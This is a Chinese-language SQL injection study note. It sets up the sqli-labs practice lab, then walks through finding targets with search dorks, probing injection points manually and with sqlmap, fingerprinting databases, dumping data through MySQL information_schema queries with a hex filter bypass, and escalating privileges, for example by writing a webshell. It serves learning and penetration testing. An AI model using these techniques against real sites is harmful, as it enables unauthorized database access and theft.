环境搭建
# docker搭建sqli-labs
docker pull acgpiano/sqli-labs
# 运行sqli-labs
docker run -dt --name sqli -p 80:80 --rm acgpiano/sqli-labs
# 点击进去后reset 数据库
具体sql注入示例:https://blog.csdn.net/CPriLuke/article/details/106964276
sql注入流程
1. 目标收集
- 无特定目标: inurl:php?id=
- 有特定目标:inurl:php?id= site:target.com
- 工具爬取:spider爬取
2. 寻找注入点
寻找注入点的方式主要有两种方式:
- 手工简单识别:
and 1=1/and 1=2
and '1'='1/and'1'='1
# 1 like 2返回0
and 1 like 1/and 1 like 2
- 攻击识别
sqlmap -m filename
# filename中保存检测目标
sqlmap --crawl
# sqlmap对目标网站进行爬取再仅注入
sqlmap --level
# 增加测试级别,对header中参数进行测试
sqlmap -r filename
# filename为网站请求数据
# 提供效率
burpsuit + sqlmap
burpsuit扩展插件直接调用sqlmap
3. 注入点识别后步骤
3.1 信息收集
类别 | 说明 |
---|---|
数据库类型 | 通过报错,如Morcrosoft JET Database Engin Error '800… |
数据库版本 | versions(); @@version |
数据库用户 | user(); SYSTEM_USER |
数据库权限 | super_priv, IS_SRVROLEMEMBER |
3.2 数据获取
类别 | 说明 |
---|---|
数据库信息 | 暴力破解获取数据库表名 |
表信息 | 需要根据不同数据库的内置库接口进行查询 |
列信息 | |
获取数据 |
3.3 权限提升
常用方法有:
- 执行系统命令:SQLServer sa权限
- 读文件: 读中间件配置文件,读数据库配置文件
- 写入文件: 写webshell到网站目录
数据库相关语法
1. mysql
mysql主要利用information_schema内置库窥视mysql运行请求和所有的数据信息
#查库
select schema_name from information_schema.schemata;
#查表
select table_name from information_schema.tables where table_schema='yazd';
#查列
select column_name from information_schema.columns where table_name='yazdfilter';
#可以通过hex绕过单引号的过滤
select column_name from information_schema.columns where table_name=0x79617a6466696c746572;
#查数据
select * from table_name
相关技巧:
- 若果查询数据过滤可以采用limit进行限制;
- 回显数据场景可以采用concat进行显示
mysql> select column_name from information_schema.columns where table_name=0x79617a6466696c746572;
+--------------+
| column_name |
+--------------+
| filterObject |
| forumID |
| filterIndex |
+--------------+
3 rows in set (0.00 sec)
mysql> select group_concat(column_name) from information_schema.columns where table_name='yazdfilter';
+----------------------------------+
| group_concat(column_name) |
+----------------------------------+
| filterObject,forumID,filterIndex |
+----------------------------------+
1 row in set (0.01 sec)